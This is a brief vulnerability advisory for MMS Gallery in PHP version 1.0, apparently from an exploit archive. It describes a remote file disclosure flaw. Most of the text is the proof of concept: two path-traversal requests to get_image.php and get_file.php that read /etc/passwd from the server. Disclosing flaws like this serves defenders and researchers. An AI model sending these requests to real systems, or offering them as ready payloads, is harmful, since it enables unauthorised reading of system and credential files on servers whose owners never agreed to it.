MMS Gallery in PHP version 1.0 suffers from a remote file disclosure vulnerability.
81fd428f9343ff6be1df1b34234a99a2b89c94444f4c219b1af5e624d8aca41d
MMS Gallery in PHP v1.0 (id) Remote File Disclosure Vulnerability
D.Script : http://www.mms2web.com/mms_gallery_php.zip
POC :
/mms_template/get_image.php?id=../../../../../../../../etc/passwd
/mms_template/get_file.php?id=../../../../../../../../etc/passwd